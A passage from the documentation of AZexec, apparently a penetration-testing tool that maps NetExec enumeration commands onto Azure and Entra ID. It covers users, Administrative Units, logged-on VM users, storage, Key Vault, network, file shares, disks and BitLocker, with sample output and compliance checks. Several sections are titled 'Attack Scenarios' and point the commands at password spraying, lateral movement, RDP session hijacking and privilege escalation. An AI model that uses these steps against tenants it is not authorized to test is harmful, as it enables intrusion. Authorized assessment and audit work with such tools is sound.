AZR             abcdef12-3456...    443    External Consultant                [*] (upn:consultant@external.com) (job:Consultant) (dept:N/A) (type:Guest) (status:Enabled) (location:N/A) (lastSignIn:2024-12-15)

[*] Summary:
    Total Users: 1,234
    Member Users: 1,150
    Guest Users: 84
    Enabled Accounts: 1,200
    Disabled Accounts: 34
```

### Key Differences Summary

| Feature | NetExec RID Brute | AZexec rid-brute |
|---------|------------------|------------------|
| **Enumeration Method** | Iterate sequential RIDs | Query Graph API directly |
| **Speed** | Slow (must check each RID) | Fast (single API call) |
| **Completeness** | May miss users with non-sequential RIDs | Guaranteed complete enumeration |
| **Stealth** | Medium (many RPC calls) | Low (legitimate API usage) |
| **Information Depth** | Basic (SID, username, type) | Comprehensive (full user profiles) |
| **Reliability** | May fail on RID gaps | Always returns all users |

### When to Use This Command

Use `rid-brute` when:
- ✅ You're familiar with NetExec's `--rid-brute` and want the Azure equivalent
- ✅ You want to enumerate ALL users in the directory
- ✅ You need a complete user list for password spraying or targeting
- ✅ You want to discover "hidden" users not visible in standard queries
- ✅ You're performing a comprehensive directory enumeration

**Note**: The `rid-brute` and `user-profiles` commands are functionally identical in AZexec. Use whichever command name you prefer based on your background (NetExec users may prefer `rid-brute`, while Azure-native users may prefer `user-profiles`).

---

## 🔐 Enumerate Local Groups - Azure/Entra ID Equivalent

For penetration testers familiar with NetExec's local group enumeration, AZexec provides the **Azure cloud equivalent** through the `local-groups` command, which enumerates **Administrative Units**.

### What are Local Groups?

**On-Premises (Traditional Windows):**
- **Local Groups**: Security groups stored on individual Windows machines (not in the domain)
- **Examples**: Administrators, Users, Remote Desktop Users, Backup Operators, Power Users
- **Purpose**: Machine-specific access control and privilege delegation
- **NetExec command**: `nxc smb <target> -u UserName -p 'PASSWORDHERE' --local-group`
- **Enumeration method**: Query local SAM (Security Account Manager) via RPC

**Example Local Groups on Windows:**
```
BUILTIN\Administrators  -> Full system access
BUILTIN\Users           -> Standard user access
BUILTIN\Remote Desktop Users -> RDP access
BUILTIN\Backup Operators     -> Backup/restore privileges
BUILTIN\Power Users          -> Legacy admin-like access
```

### Azure AD vs On-Premises: Technical Comparison

| Aspect | On-Premises (NetExec) | Azure (AZexec) |
|--------|----------------------|----------------|
| **Command** | `nxc smb <target> -u User -p Pass --local-group` | `.\azx.ps1 local-groups` |
| **Concept** | Local groups on individual machines | Administrative Units in Azure AD |
| **Scope** | Machine-specific (single host) | Directory-scoped (subset of tenant) |
| **Protocol** | SMB/RPC (port 445) | Microsoft Graph API (HTTPS/443) |
| **API Interface** | SAMR (Security Account Manager Remote) | Microsoft Graph `/administrativeUnits` endpoint |
| **API Call** | `SamrQueryInformationAlias` / `NetLocalGroupEnum` | `GET /v1.0/directory/administrativeUnits` |
| **Purpose** | Access control for specific machine | Delegated administration for subset of directory |
| **Authentication** | Domain/local credentials | Azure AD OAuth2 token |
| **Permissions** | Local admin or specific RPC rights | `AdministrativeUnit.Read.All` or `Directory.Read.All` |
| **Licensing** | None (built into Windows) | Azure AD Premium P1 or P2 |
| **Membership Types** | Assigned only | Assigned or Dynamic (rule-based) |

### Why Administrative Units are the Azure Equivalent

While Azure AD doesn't have "local groups" in the traditional sense, **Administrative Units (AUs)** serve a similar purpose:

**Similarities:**
1. **Scoped Administration**: Local groups provide machine-scoped admin rights; AUs provide directory-scoped admin rights
2. **Delegation**: Both allow delegating privileges without granting tenant/domain-wide access
3. **Access Control**: Both restrict what administrators can manage
4. **Containment**: Local groups contain users for a machine; AUs contain users/groups/devices for a scope

**Key Difference:**
- Local groups = **horizontal scope** (different machines have different local groups)
- Administrative Units = **vertical scope** (different AUs manage different subsets of the same directory)

### What are Administrative Units?

Administrative Units are containers in Azure AD that allow you to:
- **Group directory objects**: Users, groups, and devices
- **Assign scoped administrators**: Grant admin roles that only apply to objects in the AU
- **Delegate management**: Allow regional/departmental admins without global permissions
- **Organize governance**: Structure administrative boundaries (by region, department, project)

**Example Administrative Units:**
```
North America Region    -> Contains users/devices in NA offices
                        -> NA regional admins can manage only these objects

Finance Department      -> Contains finance team users/groups
                        -> Finance admin can only manage finance objects

Tier 1 Helpdesk        -> Contains workstation devices
                        -> Helpdesk can reset passwords for users in this AU
```

### Usage Examples

**On-Premises with NetExec:**
```bash
# Enumerate local groups on a Windows machine
nxc smb 192.168.1.100 -u administrator -p 'Password123!' --local-group

# Enumerate local groups on multiple targets
nxc smb 192.168.1.0/24 -u administrator -p 'Password123!' --local-group

# Output shows:
# - Administrators group members
# - Remote Desktop Users
# - Backup Operators
# - Power Users
# - Other local groups
```

**Azure with AZexec:**
```powershell
# Enumerate all Administrative Units in the tenant
.\azx.ps1 local-groups

# Export to CSV with member counts
.\azx.ps1 local-groups -ShowOwners -ExportPath admin-units.csv

# Export to JSON with full details
.\azx.ps1 local-groups -ExportPath admin-units.json

# Export to HTML report with statistics
.\azx.ps1 local-groups -ExportPath admin-units.html
```

### Attack Scenarios

**Scenario 1: Identify Scoped Administration Boundaries**
```powershell
# Enumerate all Administrative Units to understand delegation structure
.\azx.ps1 local-groups -ExportPath admin-units.csv

# Analyze results to identify:
# - Regional/departmental boundaries
# - Scoped admin assignments
# - Potential privilege escalation paths
```

**Scenario 2: Find Privileged Administrative Units**
```powershell
# Enumerate AUs with member and role counts
.\azx.ps1 local-groups -ShowOwners -ExportPath admin-units-detailed.json

# Look for AUs with names containing:
# - "Admin", "Privileged", "IT", "Security"
# - These may contain high-value targets
```

**Scenario 3: Map Organizational Structure**
```powershell
# Enumerate Administrative Units to map organization
.\azx.ps1 local-groups -ExportPath org-structure.csv

# Cross-reference with user enumeration:
.\azx.ps1 user-profiles -ExportPath users.csv

# Identify which users belong to which administrative scopes
```

**Scenario 4: Privilege Escalation via Scoped Roles**
```powershell
# Step 1: Enumerate Administrative Units
.\azx.ps1 local-groups -ShowOwners -ExportPath aus.csv

# Step 2: Enumerate role assignments
.\azx.ps1 roles -ExportPath roles.csv

# Step 3: Cross-reference to find:
# - Users with scoped admin rights (e.g., Helpdesk Admin for specific AU)
# - Potential lateral movement to other AUs
# - Escalation to global roles
```

### Technical Implementation

The `local-groups` command enumerates Administrative Units via Microsoft Graph API:

```powershell
# When you run:
.\azx.ps1 local-groups

# AZexec internally:
# 1. Calls Get-MgDirectoryAdministrativeUnit to retrieve all AUs
# 2. (Optional) Retrieves member counts via Get-MgDirectoryAdministrativeUnitMember
# 3. (Optional) Retrieves scoped role assignments via Get-MgDirectoryAdministrativeUnitScopedRoleMember
# 4. Displays in netexec-style format with color coding
```

**Color Coding:**
- **Red**: Privileged Administrative Units (names containing "admin", "security", "privileged", etc.)
- **Yellow**: Dynamic membership AUs (automated assignment via rules)
- **Green**: Active AUs with members or scoped roles assigned
- **Cyan**: Standard AUs

### Output Format

The `local-groups` command provides netexec-style formatted output:

```
[*] AZX - Azure/Entra Administrative Units Enumeration
[*] Command: Administrative Units (Local Groups Equivalent)
[*] Similar to: nxc smb --local-group

[*] Technical Context:
    On-Premises: Local groups provide machine-scoped access control
                 (e.g., Administrators, Users, Remote Desktop Users)
    Azure:       Administrative Units provide directory-scoped delegation
                 (scoped admin roles for subset of users/groups/devices)

AZR             12345678-1234...    443    North America Region               [*] (name:North America Region) (type:Assigned) (visibility:Public) (members:150) (scopedRoles:3) (desc:Administrative unit for NA offices)
AZR             87654321-4321...    443    Finance Department                 [*] (name:Finance Department) (type:Dynamic) (visibility:Public) (members:45) (scopedRoles:2) (desc:Finance team administrative unit)
AZR             abcdef12-3456...    443    IT Admin Tier 1                    [*] (name:IT Admin Tier 1) (type:Assigned) (visibility:Public) (members:20) (scopedRoles:5) (desc:Tier 1 helpdesk administrative scope)

[*] Summary:
    Total Administrative Units: 15
    Assigned Membership: 12
    Dynamic Membership: 3
```

### Information Retrieved

| Information | Description | Security Value |
|-------------|-------------|----------------|
| **Display Name** | Name of the Administrative Unit | Identify scoped boundaries |
| **Description** | Purpose/scope description | Understand delegation intent |
| **Membership Type** | Assigned or Dynamic | Dynamic = automated governance |
| **Visibility** | Public or HiddenMembership | Hidden may contain sensitive objects |
| **Member Count** | Users/groups/devices in AU | Scope size assessment |
| **Scoped Role Count** | Number of scoped admin assignments | Delegation assessment |
| **Membership Rule** | Dynamic membership query (if dynamic) | Understand auto-assignment logic |

### Comparison with Other Commands

| Command | Purpose | Scope | Azure Concept |
|---------|---------|-------|---------------|
| `groups` | Enumerate security/mail groups | Tenant-wide | Domain groups equivalent |
| `local-groups` | Enumerate Administrative Units | Scoped delegation | Local groups equivalent |
| `roles` | Enumerate directory role assignments | Tenant-wide | Built-in roles (like Domain Admins) |

### Integration with Other AZexec Commands

Administrative Units work best when analyzed alongside other enumeration:

```powershell
# Complete administrative structure enumeration workflow
# Step 1: Enumerate Administrative Units (scoped boundaries)
.\azx.ps1 local-groups -ShowOwners -ExportPath admin-units.csv

# Step 2: Enumerate all groups (functional grouping)
.\azx.ps1 groups -ExportPath groups.csv

# Step 3: Enumerate role assignments (privilege levels)
.\azx.ps1 roles -ExportPath roles.csv

# Step 4: Enumerate users (actual accounts)
.\azx.ps1 user-profiles -ExportPath users.csv

# Step 5: Cross-reference to map:
# - Which users are in which AUs (scoped management)
# - Which groups are in which AUs (nested delegation)
# - Which admins have scoped vs global roles (privilege analysis)
```

### When to Use This Command

Use `local-groups` when:
- ✅ You want to understand administrative delegation structure
- ✅ You're familiar with NetExec's `--local-group` and want the Azure equivalent
- ✅ You need to map organizational boundaries and regional/departmental scopes
- ✅ You're looking for privilege escalation paths via scoped admin roles
- ✅ You want to identify sensitive administrative units (IT, Security, Executive)
- ✅ You're performing a comprehensive directory governance audit

### Licensing Requirements

**Important**: Administrative Units require **Azure AD Premium P1 or P2** licensing.

If your target tenant doesn't have Premium licensing:
- The command will return zero results (not an error)
- The tenant may not have any Administrative Units configured
- Alternative: Focus on `groups` and `roles` commands instead

### Limitations and Differences

| Limitation | Impact | Workaround |
|------------|--------|------------|
| **Requires Premium License** | Won't work on Free/Basic Azure AD | Check with `tenant` command first |
| **Not Machine-Specific** | AUs are directory-scoped, not host-scoped | Use `vm-loggedon` for host-specific enumeration |
| **Guest Restrictions** | Guest users may have limited AU visibility | Use member account for full enumeration |
| **No Built-in AUs** | Unlike Windows, no default AUs exist | Organizations must create them manually |

### Summary Statistics

After enumeration, AZexec displays comprehensive statistics:

```
[*] Summary:
    Total Administrative Units: 15
    Assigned Membership: 12
    Dynamic Membership: 3

[*] Security Recommendations:
    - Review scoped role assignments for least privilege
    - Audit administrative unit membership regularly
    - Use dynamic membership rules for automated governance
    - Restrict administrative unit creation to authorized admins

[*] Note: Administrative Units require Azure AD Premium P1 or P2 licensing
```

---

## 🔌 Workstation Service (wkssvc) Equivalent: `vm-loggedon` Command

For penetration testers familiar with NetExec's `--loggedon-users` flag, the `vm-loggedon` command provides the **Azure cloud equivalent** of Workstation Service (wkssvc) enumeration.

**Now with Intune support!** The command enumerates:
1. **Intune-managed devices** - Shows primary user assigned to each Windows device (via Graph API)
2. **Azure VMs** - Shows currently logged-on users via VM Run Command (like NetExec)

### On-Premises vs Azure: Technical Comparison

| Aspect | On-Premises (NetExec) | Azure (AZexec) |
|--------|----------------------|----------------|
| **Command** | `nxc smb 192.168.1.0/24 -u User -p Pass --loggedon-users` | `.\azx.ps1 vm-loggedon` |
| **Protocol** | SMB/RPC (port 445) | Azure Management API (HTTPS/443) |
| **RPC Interface** | Workstation Service (wkssvc) | Azure VM Run Command API |
| **API Call** | `NetWkstaUserEnum` | `Invoke-AzVMRunCommand` |
| **Query Method** | Remote registry / RPC enumeration | Direct OS query via Run Command |
| **Windows Query** | Registry keys / RPC calls | `quser` command (Terminal Services) |
| **Linux Query** | N/A (Windows-only) | `who` command (wtmp/utmp) |
| **Authentication** | Domain/local credentials | Azure RBAC (OAuth2 token) |
| **Permissions** | Local admin or specific RPC rights | VM Contributor or VM Command Executor role |
| **Network Access** | Direct network connectivity required | No network access needed (cloud API) |
| **Speed** | Instant (network latency only) | 5-30 seconds per VM (API processing) |
| **Stealth** | Medium (SMB/RPC traffic) | Low (legitimate Azure API calls) |

### What Information Is Retrieved?

Both methods enumerate the same core information about logged-on users:

| Information | On-Premises (wkssvc) | Azure (vm-loggedon) | Security Value |
|-------------|---------------------|---------------------|----------------|
| **Username** | ✅ Via NetWkstaUserEnum | ✅ Via quser/who | Identify active accounts |
| **Session Type** | ✅ Console/RDP/Network | ✅ Console/RDP/TTY/PTS | Determine connection method |
| **Session State** | ✅ Active/Disconnected | ✅ Active/Disconnected/Idle | Current session status |
| **Idle Time** | ✅ Via registry | ✅ Via quser (Windows) | Detect stale sessions |
| **Logon Time** | ✅ Via registry | ⚠️ Limited | Session duration |
| **Source IP/Host** | ⚠️ Limited | ✅ Via who (Linux) | Track connection origin |
| **VM/Host Name** | ✅ Target hostname | ✅ Azure VM name | Identify target system |
| **Resource Group** | ❌ N/A | ✅ Azure resource group | Cloud organization |
| **Subscription** | ❌ N/A | ✅ Azure subscription | Multi-tenant support |

### Usage Examples

**On-Premises with NetExec:**
```bash
# Enumerate logged-on users on a subnet
nxc smb 192.168.1.0/24 -u Administrator -p 'Password123!' --loggedon-users

# Target specific host
nxc smb 192.168.1.50 -u UserName -p 'PASSWORDHERE' --loggedon-users username
```

**Azure with AZexec:**
```powershell
# Enumerate logged-on users across all VMs
.\azx.ps1 vm-loggedon

# Target specific resource group (like targeting a subnet)
.\azx.ps1 vm-loggedon -ResourceGroup Production-RG

# Filter to running VMs only (like filtering responsive hosts)
.\azx.ps1 vm-loggedon -VMFilter running

# Multi-subscription enumeration (like scanning multiple networks)
.\azx.ps1 vm-loggedon  # Automatically scans all accessible subscriptions
```

### Attack Scenarios

**Scenario 1: Privileged Account Discovery**
```powershell
# Find where domain admins or privileged accounts are logged in
.\azx.ps1 vm-loggedon -ExportPath loggedon.csv
# Then filter CSV for admin accounts: admin, administrator, root, etc.
```

**Scenario 2: Lateral Movement Planning**
```powershell
# Identify users logged into multiple VMs (potential lateral movement targets)
.\azx.ps1 vm-loggedon -ExportPath users.json
# Analyze JSON to find users with sessions on multiple systems
```

**Scenario 3: Session Hijacking Preparation**
```powershell
# Find disconnected RDP sessions (potential targets for session hijacking)
.\azx.ps1 vm-loggedon | Where-Object { $_.State -eq "Disconnected" }
```

**Scenario 4: Incident Response**
```powershell
# During IR, quickly identify all active sessions across the environment
.\azx.ps1 vm-loggedon -VMFilter running -ExportPath incident-sessions.csv

# Cross-reference with Azure AD sign-in logs
.\azx.ps1 sessions -Hours 24 -ExportPath signin-logs.csv
```

### Why Use VM Run Command Instead of wkssvc?

Azure doesn't expose traditional Windows RPC interfaces like wkssvc to the internet. Instead, Azure provides the **VM Run Command** feature, which:

1. **More Powerful**: Can execute arbitrary commands, not just enumerate users
2. **Cross-Platform**: Works on both Windows and Linux VMs
3. **Cloud-Native**: Designed for Azure's security model (RBAC instead of NTLM)
4. **Auditable**: All Run Command executions are logged in Azure Activity Logs
5. **No Network Access Required**: Works even if VMs are in private VNets

### Limitations Compared to On-Premises

| Limitation | Impact | Workaround |
|------------|--------|------------|
| **Slower** | 5-30 seconds per VM vs instant | Use `-VMFilter running` to skip stopped VMs |
| **Requires Azure Auth** | Can't do anonymous enumeration | Must have valid Azure credentials |
| **VM Agent Required** | VMs without agent can't be queried | Ensure Azure VM Agent is installed |
| **API Rate Limits** | May hit throttling on large environments | Process in batches or add delays |
| **No Stealth** | All actions logged in Azure Activity Logs | This is a feature, not a bug (compliance) |

### Integration with Other AZexec Commands

The `vm-loggedon` command works best when combined with other enumeration commands:

```powershell
# Step 1: Enumerate directory roles to identify privileged accounts
.\azx.ps1 roles -ExportPath roles.csv

# Step 2: Find where those privileged accounts are logged in
.\azx.ps1 vm-loggedon -ExportPath vm-sessions.csv

# Step 3: Check Azure AD sign-in logs for those accounts
.\azx.ps1 sessions -Hours 24 -ExportPath signin-logs.csv

# Step 4: Correlate data to map privileged account activity
# (Analyze CSV files to find privileged users with active VM sessions)
```

---

## ☁️ Azure Resource Manager Enumeration (Multi-Subscription)

AZexec includes ARM-based enumeration commands that support **automatic multi-subscription discovery**. These commands use Azure Resource Manager API instead of Microsoft Graph.

### Storage Account Enumeration: `storage-enum`

Discover Azure Storage Accounts with security analysis across all subscriptions:

```powershell
# Enumerate storage accounts across ALL accessible subscriptions
.\azx.ps1 storage-enum

# Target a specific subscription
.\azx.ps1 storage-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"

# Filter by resource group
.\azx.ps1 storage-enum -ResourceGroup Production-RG

# Export to CSV/JSON/HTML
.\azx.ps1 storage-enum -ExportPath storage-audit.html
```

**Security Analysis Includes**:
| Check | Risk Level | Description |
|-------|-----------|-------------|
| Blob Public Access | HIGH | Identifies storage accounts allowing public blob access |
| HTTPS-Only | MEDIUM | Detects storage accounts not requiring HTTPS |
| TLS Version | LOW | Checks for TLS < 1.2 |
| Network Default Action | MEDIUM | Identifies storage accounts allowing all network access |
| Shared Key Access | LOW | Detects shared key access (vs Azure AD auth) |

### Key Vault Enumeration: `keyvault-enum`

Discover Azure Key Vaults with security configuration analysis:

```powershell
# Enumerate Key Vaults across ALL accessible subscriptions
.\azx.ps1 keyvault-enum

# Target specific subscription with JSON export
.\azx.ps1 keyvault-enum -SubscriptionId "12345678-1234-1234-1234-123456789012" -ExportPath keyvaults.json

# Filter by resource group with HTML report
.\azx.ps1 keyvault-enum -ResourceGroup Security-RG -ExportPath keyvault-audit.html
```

**Security Analysis Includes**:
| Check | Risk Level | Description |
|-------|-----------|-------------|
| Soft Delete | MEDIUM | Identifies Key Vaults without soft delete protection |
| Purge Protection | LOW | Detects Key Vaults without purge protection |
| RBAC Authorization | LOW | Identifies Key Vaults using access policies instead of RBAC |
| Network Default Action | MEDIUM | Detects Key Vaults allowing public network access |
| Access Policy Count | INFO | Flags Key Vaults with many access policies (>10) |

### Network Resource Enumeration: `network-enum`

Discover Azure Network resources with security analysis:

```powershell
# Enumerate network resources across ALL accessible subscriptions
.\azx.ps1 network-enum

# Target specific subscription
.\azx.ps1 network-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"

# Filter by resource group with CSV export
.\azx.ps1 network-enum -ResourceGroup Prod-RG -ExportPath network-audit.csv
```

**Resources Enumerated**:
- **Virtual Networks (VNets)**: Address spaces, subnets, peerings
- **Network Security Groups (NSGs)**: Security rules, risky inbound rules
- **Public IP Addresses**: Allocation, association status
- **Load Balancers**: Frontend IPs, backend pools, rules
- **Network Interfaces (NICs)**: IP configurations, VM attachments, NSG associations, MAC addresses

**Security Analysis Includes**:
| Check | Risk Level | Description |
|-------|-----------|-------------|
| Risky NSG Inbound Rules | HIGH | Open ports (22, 3389, 445, etc.) from Internet/Any |
| Unassociated Public IPs | MEDIUM | Public IPs not associated with any resource |
| Unattached Network Interfaces | MEDIUM | NICs not attached to VMs (billable, potential misconfiguration) |
| NICs with Public IP but No NSG | HIGH | Network interfaces exposed to internet without security group |
| IP Forwarding Enabled | MEDIUM | NICs configured for routing/firewall capabilities |

**Network Interface Details Displayed**:
- **VM Attachment**: Shows which VM the NIC is attached to (or "Not Attached")
- **Private IP Addresses**: All private IPs configured on the NIC
- **Public IP Addresses**: Any public IPs associated with the NIC
- **NSG Association**: Network Security Group protecting the NIC (or "None")
- **IP Forwarding**: Whether the NIC can forward packets (routing capability)
- **Accelerated Networking**: SR-IOV performance feature status
- **MAC Address**: Hardware address (allocated when attached to VM)
- **Risk Assessment**: Automatic security risk evaluation

**NetExec Equivalent**: This is similar to `nxc smb --enum-network-interfaces` which enumerates network adapters on Windows systems via RPC. In Azure, we enumerate the cloud-level network interface resources instead of querying individual VMs.

**Usage Examples**:

```powershell
# Enumerate all network interfaces across all subscriptions
.\azx.ps1 network-enum

# Find unattached NICs (cost optimization opportunity)
.\azx.ps1 network-enum -ExportPath nics.csv
# Then filter CSV for ResourceType="NetworkInterface" and Details containing "Not Attached"

# Identify NICs with public IPs but no NSG (HIGH RISK)
.\azx.ps1 network-enum | Select-String "Public IP" | Select-String "NSG: None"

# Target specific resource group
.\azx.ps1 network-enum -ResourceGroup Production-RG
```

**Security Use Cases**:
1. **Attack Surface Mapping**: Identify all network interfaces with public IPs
2. **Lateral Movement Planning**: Map private IP ranges and network topology
3. **Cost Optimization**: Find unattached NICs that are still billable
4. **Compliance Auditing**: Verify all NICs have proper NSG associations
5. **IP Forwarding Detection**: Identify NICs configured for routing (potential pivot points)

### Azure File Shares Enumeration: `shares-enum`

The Azure equivalent of NetExec's `--shares` command. Enumerate Azure File Shares with access permission analysis:

```powershell
# Enumerate file shares across ALL accessible subscriptions (like nxc smb --shares)
.\azx.ps1 shares-enum

# Filter by access level (like nxc smb --shares READ,WRITE)
.\azx.ps1 shares-enum -SharesFilter READ,WRITE
.\azx.ps1 shares-enum -SharesFilter WRITE
.\azx.ps1 shares-enum -SharesFilter READ

# Target specific subscription or resource group
.\azx.ps1 shares-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"
.\azx.ps1 shares-enum -ResourceGroup Production-RG -ExportPath shares.csv
```

**Information Enumerated**:
| Information | Description | Security Value |
|-------------|-------------|----------------|
| **Share Name** | Azure File Share name | Identify potential data stores |
| **Access Level** | READ, WRITE, or READ,WRITE | Determine exploitation potential |
| **Quota** | Storage quota in GB | Assess storage capacity |
| **Access Tier** | Hot, Cool, Transaction Optimized | Cost/performance profile |
| **Protocol** | SMB or NFS | Protocol-specific attack vectors |
| **Storage Account** | Parent storage account | Scope of access |
| **Public Network Access** | Whether publicly accessible | Exposure risk |

**NetExec Comparison**:
| NetExec Command | AZexec Equivalent | Description |
|-----------------|-------------------|-------------|
| `nxc smb 192.168.1.0/24 -u user -p 'PASS' --shares` | `.\azx.ps1 shares-enum` | List all accessible shares |
| `nxc smb 192.168.1.0/24 -u user -p 'PASS' --shares READ,WRITE` | `.\azx.ps1 shares-enum -SharesFilter READ,WRITE` | Filter writable shares |
| `nxc smb 192.168.1.0/24 -u user -p 'PASS' --shares READ` | `.\azx.ps1 shares-enum -SharesFilter READ` | Filter readable shares |
| `nxc smb 192.168.1.0/24 -u user -p 'PASS' --shares WRITE` | `.\azx.ps1 shares-enum -SharesFilter WRITE` | Filter write-only shares |

**Security Analysis**:
- Shares with WRITE access are highlighted in RED (potential data exfiltration/upload risk)
- Shares in publicly accessible storage accounts are flagged
- Protocol breakdown (SMB vs NFS) for attack planning
- Recommendations for securing file shares

### Azure Managed Disks Enumeration: `disks-enum`

The Azure equivalent of NetExec's `--disks` command. Enumerate Azure Managed Disks with encryption and security analysis:

```powershell
# Enumerate managed disks across ALL accessible subscriptions (like nxc smb --disks)
.\azx.ps1 disks-enum

# Target specific subscription or resource group
.\azx.ps1 disks-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"
.\azx.ps1 disks-enum -ResourceGroup Production-RG -ExportPath disks.csv

# Export to JSON for detailed analysis
.\azx.ps1 disks-enum -ExportPath disks.json
```

**Information Enumerated**:
| Information | Description | Security Value |
|-------------|-------------|----------------|
| **Disk Name** | Azure Managed Disk name | Identify storage resources |
| **Size** | Disk capacity in GB | Assess data volume |
| **Disk Type** | OS Disk or Data Disk | Understand disk purpose |
| **State** | Attached or Unattached | Identify orphaned resources |
| **Encryption** | Platform/Customer/None | Encryption status |
| **SKU** | Premium_LRS, Standard_LRS, etc. | Performance tier |
| **Attached To** | VM name if attached | Ownership tracking |
| **Network Access** | Public or Private | Exposure risk |
| **OS Type** | Windows, Linux (for OS disks) | Operating system |

**NetExec Comparison**:
| NetExec Command | AZexec Equivalent | Description |
|-----------------|-------------------|-------------|
| `nxc smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --disks` | `.\azx.ps1 disks-enum` | Enumerate all disks |
| NetExec enumerates local/network disks on remote hosts | AZexec enumerates Azure Managed Disks | Cloud vs On-Prem |

**Security Analysis**:
- Unencrypted disks are highlighted in RED (HIGH RISK - potential data exposure)
- Unattached disks are flagged in YELLOW (orphaned resources, potential sensitive data)
- Public network access is identified (exposure risk)
- Disk type breakdown (OS vs Data disks)
- Total storage capacity tracking
- Recommendations for encryption and cleanup

**Risk Levels**:
- **HIGH**: Unencrypted disks (data at rest not protected)
- **MEDIUM**: Public network access enabled, unattached disks
- **LOW**: Encrypted, attached disks with private access

### BitLocker Enumeration: `bitlocker-enum`

The Azure equivalent of NetExec's `-M bitlocker` module. Enumerate BitLocker encryption status on Windows Azure VMs:

```powershell
# Enumerate BitLocker status on all Windows VMs (like nxc smb -M bitlocker)
.\azx.ps1 bitlocker-enum

# Target specific subscription or resource group
.\azx.ps1 bitlocker-enum -SubscriptionId "12345678-1234-1234-1234-123456789012"
.\azx.ps1 bitlocker-enum -ResourceGroup Production-RG

# Filter by VM power state (default: running only)
.\azx.ps1 bitlocker-enum -VMFilter running
.\azx.ps1 bitlocker-enum -VMFilter all

# Export results to CSV/JSON
.\azx.ps1 bitlocker-enum -ExportPath bitlocker-status.csv
.\azx.ps1 bitlocker-enum -ExportPath bitlocker-status.json
```

**Information Enumerated**:
| Information | Description | Security Value |
|-------------|-------------|----------------|
| **Mount Point** | Drive letter (C:, D:, etc.) | Identify volumes |
| **Volume Status** | FullyEncrypted, FullyDecrypted, EncryptionInProgress | Encryption state |
| **Encryption %** | Percentage of volume encrypted (0-100%) | Encryption progress |
| **Encryption Method** | XTS-AES 128/256, AES-CBC 128/256 | Encryption algorithm |
| **Protection Status** | On/Off | BitLocker protection active |
| **Key Protector** | TPM, RecoveryPassword, etc. | Key protection method |
| **Capacity** | Volume size in GB | Storage capacity |
| **Lock Status** | Locked/Unlocked | Access status |

**NetExec Comparison**:
| NetExec Command | AZexec Equivalent | Description |
|-----------------|-------------------|-------------|
| `nxc smb 192.168.1.0/24 -u admin -p pass -M bitlocker` | `.\azx.ps1 bitlocker-enum` | Enumerate BitLocker status |
| NetExec queries via SMB/WMI on remote Windows hosts | AZexec queries via Intune API + Azure VM Run Command | Cloud vs On-Prem |

**How It Works**:

**Section 1: Intune-Managed Devices** (via Microsoft Graph API)
1. Connects to Microsoft Graph with `DeviceManagementManagedDevices.Read.All` permission
2. Queries all Windows devices enrolled in Intune
3. Checks the `isEncrypted` property for each device
4. Lists devices without BitLocker with specific device names

**Section 2: Azure VMs** (via ARM API)
1. **Discovery**: Enumerates all Windows VMs across subscriptions
2. **Filtering**: Targets running VMs by default (BitLocker query requires VM to be running)
3. **Query Execution**: Uses Azure VM Run Command to execute `Get-BitLockerVolume` on each VM
4. **Data Parsing**: Parses BitLocker status, encryption method, and key protectors
5. **Risk Assessment**: Identifies unencrypted volumes and disabled protection

**Security Analysis**:
- Unencrypted volumes are highlighted in RED (HIGH RISK)
- Volumes with protection disabled are flagged in YELLOW (MEDIUM RISK)
- Shows encryption method (strong: XTS-AES 256, weak: AES-CBC 128)
- Identifies key protector types (TPM, Password, Recovery Key)
- Tracks encryption progress for volumes being encrypted
- **Lists specific device names** for devices needing BitLocker
- Recommendations for enabling BitLocker and best practices

**Risk Levels**:
- **HIGH**: Volume not encrypted (data at rest exposed)
- **MEDIUM**: BitLocker protection disabled (encrypted but not protected)
- **LOW**: Fully encrypted with protection enabled

**Use Cases**:
1. **Compliance Auditing**: Verify all Windows VMs have BitLocker enabled
2. **Security Assessment**: Identify unencrypted volumes that should be encrypted
3. **Encryption Monitoring**: Track encryption progress across the environment
4. **Key Management**: Identify VMs using weak key protectors (password-only)
5. **Incident Response**: Quickly assess encryption status during security incidents

**Technical Details**:
- Requires VM to be in **running** state (stopped VMs cannot be queried)
- Uses Azure VM Run Command (same as `vm-loggedon` command)
- Requires **Virtual Machine Contributor** or **VM Command Executor** role
- Queries are logged in Azure Activity Logs (audit trail)
- Windows VMs only (BitLocker is Windows-specific)
- Linux VMs are automatically skipped

**Comparison with `disks-enum`**:
| Feature | `bitlocker-enum` | `disks-enum` |
|---------|------------------|--------------|
| **Target** | Running Windows VMs | Azure Managed Disks (storage layer) |
| **Encryption Type** | BitLocker (OS-level) | Azure Disk Encryption (platform-level) |
| **Query Method** | VM Run Command (active query) | Azure Resource Manager API (metadata) |
| **Requires Running VM** | Yes | No |
| **Information** | BitLocker status, encryption method, key protectors | Disk encryption type, attachment state, network access |
| **Use Case** | OS-level encryption compliance | Storage-level encryption audit |

**Integration Example**:
```powershell
# Complete disk security audit workflow
# Step 1: Check Azure Disk Encryption (storage layer)
.\azx.ps1 disks-enum -ExportPath disks.csv

# Step 2: Check BitLocker status (OS layer)
.\azx.ps1 bitlocker-enum -ExportPath bitlocker.csv

# Step 3: Compare results to ensure dual-layer encryption
# (Both Azure Disk Encryption AND BitLocker should be enabled for maximum security)
```

**NetExec Module Equivalence**:
This command is the direct Azure equivalent of NetExec's BitLocker module:
```bash
# NetExec (On-Premises)
nxc smb 192.168.1.0/24 -u administrator -p 'Password1' -M bitlocker

# AZexec (Azure)
.\azx.ps1 bitlocker-enum
```

Both commands provide the same information:
- Drive letters and mount points
- Encryption status and percentage
- Encryption method (algorithm)
- Protection status
- Key protector types

### Multi-Subscription Pattern

All ARM commands share a common multi-subscription enumeration pattern:

```powershell
# Automatic - Enumerate ALL accessible subscriptions
.\azx.ps1 storage-enum       # Scans all subscriptions automatically

# Targeted - Specific subscription
.\azx.ps1 keyvault-enum -SubscriptionId "12345678-..."

# Filtered - Specific resource group (applies within each subscription)
.\azx.ps1 network-enum -ResourceGroup Production-RG

# Combined - All options work together
.\azx.ps1 storage-enum -SubscriptionId "12345678-..." -ResourceGroup Prod-RG -ExportPath report.html
```

**Output Includes**:
- Subscription name and ID for each resource
- Resource group and location
- Security risk assessment
- Detailed security issues list

### Spider: `spider`

The `spider` command is the **Azure equivalent of NetExec's `--spider` and `spider_plus` module**. It supports **three spider modes**:

